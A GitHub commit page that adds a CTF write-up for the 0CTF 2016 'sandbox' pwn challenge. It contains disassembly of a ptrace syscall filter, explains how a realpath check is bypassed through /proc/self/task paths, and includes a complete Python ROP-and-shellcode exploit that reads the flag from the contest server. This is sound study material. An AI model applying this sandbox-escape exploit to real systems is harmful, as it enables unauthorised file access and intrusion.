Skip to content

Commit 5b166a9

Browse files
committed
Add "sandbox"
1 parent 4a58c15 commit 5b166a9

File tree

3 files changed

+224
-6
lines changed

3 files changed

+224
-6
lines changed

2016-03-12-0ctf/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ Team: akrasuski1, cr019283, c7f.m0d3, mnmd21891, other019, rev, msm, shalom, naz
66
* [equation (crypto)](equation)
77
* [People's Square (crypto/re)](peoples_square)
88
* [RSA? (crypto)](rsa)
9-
* sandbox (pwn)
9+
* [sandbox (pwn)](sandbox)
1010
* [warmup (pwn)](warmup)
1111
* [opm (misc)](opm)
1212
* [xorpainter (misc)](xorpainter)

2016-03-12-0ctf/sandbox/README.md

+141-5
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,146 @@
1-
## Sandbox (Pwn, 5p)
1+
## Sandbox (pwn, 5p)
22

33
Escape from this broken sandbox
4-
notice: You have to solve the warmup task first. And try to get
4+
notice: You have to solve the warmup task first. And try to get
55
the flag at /home/sandbox/flag
66

7-
###ENG
8-
[PL](#pl-version)
7+
We were given small [Linux binary](sandbox):
8+
```
9+
sandbox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d833f31d8d8592636906d44b40da9bcdbc0d686b, stripped
10+
```
911

10-
###PL version
12+
Based on task title and description we suspect that Warmup challenge solved previously may be part of this tasks.
13+
We verify this by run Warmup exploit against new server.
14+
15+
As expected, exploit successfully retrieved flag from */home/warmup/flag* file.
16+
The same exploit however fails to retrieve */root/home/sandbox/flag*.
17+
We suspect that in order to solve the tasks, we need to bypass sandbox implemented by the provided binary.
18+
19+
### Sandbox Analysis
20+
21+
We used Radare2 to disassemble the binary.
22+
The binary implements simple sandbox that inspects syscalls from monitored binary using ptrace.
23+
This functionality is implemented by subroutine 0x00400b50.
24+
25+
Syscall inspection is as follows:
26+
```
27+
| 0x00400c3e 488d742410 lea rsi, [rsp + 0x10] ; struct user ctx
28+
| 0x00400c43 89df mov edi, ebx
29+
| 0x00400c45 e876010000 call fcn.ptrace_getregs
30+
| 0x00400c4a 488b84248800. mov rax, qword [rsp + 0x88] ; ctx.regs.orig_rax
31+
| 0x00400c52 4883f805 cmp rax, 5 ; = SYS32_open
32+
| ,=< 0x00400c56 7466 je 0x400cbe ; additional logic
33+
| | 0x00400c58 4883f801 cmp rax, 1 ; = SYS32_exit
34+
| ,==< 0x00400c5c 7467 je 0x400cc5 ; allow
35+
| || 0x00400c5e 488d50fd lea rdx, [rax - 3]
36+
| || 0x00400c62 4883fa01 cmp rdx, 1 ; in (SYS32_read, SYS32_write)
37+
| ,===< 0x00400c66 765d jbe 0x400cc5 ; allow
38+
| ||| 0x00400c68 4883f806 cmp rax, 6 ; = SYS32_close
39+
| ,====< 0x00400c6c 7457 je 0x400cc5 ; allow
40+
| |||| 0x00400c6e 4883f81b cmp rax, 0x1b ; = SYS32_alarm
41+
| ,=====< 0x00400c72 7451 je 0x400cc5 ; allow
42+
| ||||| 0x00400c74 4883f85a cmp rax, 0x5a ; = SYS32_mmap
43+
| ,======< 0x00400c78 744b je 0x400cc5 ; allow
44+
| |||||| 0x00400c7a 4883f87d cmp rax, 0x7d ; = SYS32_mprotect
45+
| ,=======< 0x00400c7e 7445 je 0x400cc5 ; allow
46+
| ||||||| 0x00400c80 89df mov edi, ebx
47+
| ||||||| 0x00400c82 be09000000 mov esi, 9
48+
| ||||||| 0x00400c87 e8e4faffff call sym.imp.kill
49+
| ||||||| 0x00400c8c 31ff xor edi, edi
50+
| ||||||| 0x00400c8e e81dfbffff call sym.imp.exit
51+
```
52+
53+
The monitored process is allowed to execute:
54+
55+
* SYS32_open, with additional check described below
56+
* SYS32_exit
57+
* SYS32_read
58+
* SYS32_write
59+
* SYS32_close
60+
* SYS32_alarm
61+
* SYS32_mmap
62+
* SYS32_mprotect
63+
64+
The additional check for *SYS32_open* is implemented by subroutine 0x00400aa0:
65+
```
66+
/ (fcn) fcn.sandbox_inspect_open 176
67+
| ; CALL XREF from 0x00400cc0 (fcn.sandbox_inspect_open)
68+
| 0x00400aa0 53 push rbx
69+
| 0x00400aa1 89fb mov ebx, edi
70+
| 0x00400aa3 4881ec001100. sub rsp, 0x1100
71+
| 0x00400aaa 488d742410 lea rsi, [rsp + 0x10] ; struct user ctx
72+
| 0x00400aaf 64488b042528. mov rax, qword fs:[0x28]
73+
| 0x00400ab8 48898424f810. mov qword [rsp + 0x10f8], rax
74+
| 0x00400ac0 31c0 xor eax, eax
75+
| 0x00400ac2 e8f9020000 call fcn.ptrace_getregs
76+
| 0x00400ac7 488b742438 mov rsi, qword [rsp + 0x38] ; ctx.regs.rbx
77+
| 0x00400acc 488d9424f000. lea rdx, [rsp + 0xf0]
78+
| 0x00400ad4 4531c0 xor r8d, r8d
79+
| 0x00400ad7 b900100000 mov ecx, 0x1000
80+
| 0x00400adc 89df mov edi, ebx
81+
| 0x00400ade e88d030000 call fcn.sandbox_read_vm
82+
| 0x00400ae3 488dbc24f000. lea rdi, [rsp + 0xf0]
83+
| 0x00400aeb 31f6 xor esi, esi
84+
| 0x00400aed e86efcffff call sym.imp.realpath ; BUG: depends on process
85+
| 0x00400af2 4885c0 test rax, rax
86+
| ,=< 0x00400af5 7438 je 0x400b2f
87+
| | 0x00400af7 bfb40f4000 mov edi, str._home_warmup_flag ; "/home/warmup/flag" @ 0x400fb4
88+
| | 0x00400afc b912000000 mov ecx, 0x12
89+
| | 0x00400b01 4889c6 mov rsi, rax
90+
| | 0x00400b04 f3a6 repe cmpsb byte [rsi], byte ptr [rdi]
91+
| ,==< 0x00400b06 741f je 0x400b27
92+
| || 0x00400b08 488d742410 lea rsi, [rsp + 0x10]
93+
| || 0x00400b0d 89df mov edi, ebx
94+
| || 0x00400b0f 4889442408 mov qword [rsp + 8], rax
95+
| || 0x00400b14 48c744243800. mov qword [rsp + 0x38], 0 ; block pathname access
96+
| || 0x00400b1d e8ce020000 call fcn.ptrace_setregs
97+
| || 0x00400b22 488b442408 mov rax, qword [rsp + 8]
98+
| `--> 0x00400b27 4889c7 mov rdi, rax
99+
| | 0x00400b2a e8c1fbffff call sym.imp.free
100+
| `-> 0x00400b2f 488b8424f810. mov rax, qword [rsp + 0x10f8]
101+
| 0x00400b37 644833042528. xor rax, qword fs:[0x28]
102+
| ,=< 0x00400b40 7509 jne 0x400b4b
103+
| | 0x00400b42 4881c4001100. add rsp, 0x1100
104+
| | 0x00400b49 5b pop rbx
105+
| | 0x00400b4a c3 ret
106+
\ `-> 0x00400b4b e8c0fbffff call sym.imp.__stack_chk_fail ;[9]
107+
```
108+
109+
We discovered potential issue with the above, where results of *realpath* subroutine may change depending on process.
110+
Typical example is accessing **/proc/self** that links to different location depending on PID of calling process.
111+
112+
We didn't find any other issues in provided binary.
113+
114+
### Bypass Approach
115+
116+
We spent some time experimenting with different pathnames that may be interpreted differently for different processes.
117+
Finally we decided to use following pathname:
118+
```
119+
/proc/self/task/[MONITORED_PROCESS_PID]/root
120+
```
121+
122+
The above pathname:
123+
124+
* points to root directory when referred by monitored process and
125+
* does not exists when referred by sandbox process, allowing for syscall to continue without modification.
126+
127+
As we don't know PID of monitored process, we will attempt to bruteforce this PID from within our exploit.
128+
129+
### Exploit Implementation
130+
131+
Out exploit is based on code from Warmup flag, were we modified ROP chain and added new stage.
132+
133+
The ROP chain has the following steps:
134+
135+
1. read next stage into data area of exploited binary
136+
2. write *SYS_mprotect* bytes using 0x08048135 to set eax register
137+
3. execute 0x08048122 that performs syscall using pre-set eax, this will modify permission of data area to READ+WRITE+EXECUTE
138+
4. jump to next stage
139+
140+
The next stage has the following steps:
141+
142+
1. bruteforces MONITORED_PROCESS_PID to open */proc/self/task/[MONITORED_PROCESS_PID]/root/home/sandbox/flag*
143+
2. read the flag into memory
144+
3. write content of buffer to standard output
145+
146+
Attached [exploit.py](exploit.py) was used to retrieve flag during CTF.

2016-03-12-0ctf/sandbox/exploit.py

+82
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
#!/usr/bin/python2
2+
3+
from cStringIO import StringIO
4+
from pwn import *
5+
6+
7+
def attack(connection):
8+
stage2_code = [
9+
"begin:",
10+
" mov ebp, 0x08049000",
11+
shellcraft.i386.linux.syscall("SYS_alarm", 0),
12+
"open:",
13+
" lea ebx, [ebp + suffix - begin - 1]",
14+
" jmp 1f",
15+
"0:",
16+
" mov byte ptr[ebx], 0x30",
17+
" dec ebx",
18+
" cmp byte ptr[ebx - 1], 0x39",
19+
" jg failure",
20+
"1:",
21+
" inc byte ptr[ebx]",
22+
" cmp byte ptr[ebx], 0x39",
23+
" jg 0b",
24+
" lea ebx, [ebp + pathname - begin]",
25+
shellcraft.i386.linux.syscall("SYS_open", "ebx", constants.O_RDONLY),
26+
" cmp eax, 0",
27+
" jl open",
28+
" lea ecx, [ebp + buffer - begin]",
29+
shellcraft.i386.linux.syscall("SYS_read", "eax", "ecx", 0x100),
30+
"failure:",
31+
shellcraft.i386.linux.syscall("SYS_write", 1, "ebp", 0x200),
32+
shellcraft.i386.linux.syscall("SYS_exit", 0),
33+
"pathname:",
34+
" .ascii \"/proc/self/task//////\"",
35+
"suffix:",
36+
" .asciz \"/root/home/sandbox/flag\"",
37+
"buffer:",
38+
]
39+
stage2 = asm("\n".join(stage2_code), arch = "i386", os = "linux")
40+
41+
buffer = StringIO()
42+
buffer.write(p32(0x0804811d)) # sys_read
43+
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
44+
buffer.write(p32(0)) # fd
45+
buffer.write(p32(0x08049000)) # buffer
46+
buffer.write(p32(len(stage2))) # size
47+
buffer.write("A" * 0x24)
48+
buffer.write(p32(0x08048135)) # sys_write
49+
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
50+
buffer.write(p32(1)) # fd
51+
buffer.write(p32(0x08049000)) # buffer
52+
buffer.write(p32(constants.linux.i386.SYS_mprotect)) # size
53+
buffer.write("A" * 0x24)
54+
buffer.write(p32(0x08048122)) # syscall
55+
buffer.write(p32(0x08049000)) # stage2
56+
buffer.write(p32(0x08049000)) # buffer
57+
buffer.write(p32(len(stage2))) # size
58+
buffer.write(p32(constants.linux.PROT_READ | constants.linux.PROT_WRITE | constants.linux.PROT_EXEC))
59+
stage1 = buffer.getvalue()
60+
61+
for offset in reversed(range(4, len(stage1), 0x10)):
62+
connection.recvuntil("Welcome to 0CTF 2016!\n")
63+
64+
buffer = StringIO()
65+
buffer.write("A" * 0x20)
66+
if offset == 4:
67+
buffer.write(stage1[: offset + 0x10])
68+
else:
69+
buffer.write(p32(0x080480d8)) # start
70+
buffer.write(stage1[offset: offset + 0x10])
71+
padding = 0x34 - buffer.tell()
72+
buffer.write("B" * padding)
73+
connection.send(buffer.getvalue())
74+
75+
connection.send(stage2)
76+
77+
leak = connection.recvall()
78+
print leak.encode("string_escape")
79+
80+
81+
with remote("202.120.7.207", 52608) as connection:
82+
attack(connection)

0 commit comments

Comments
 (0)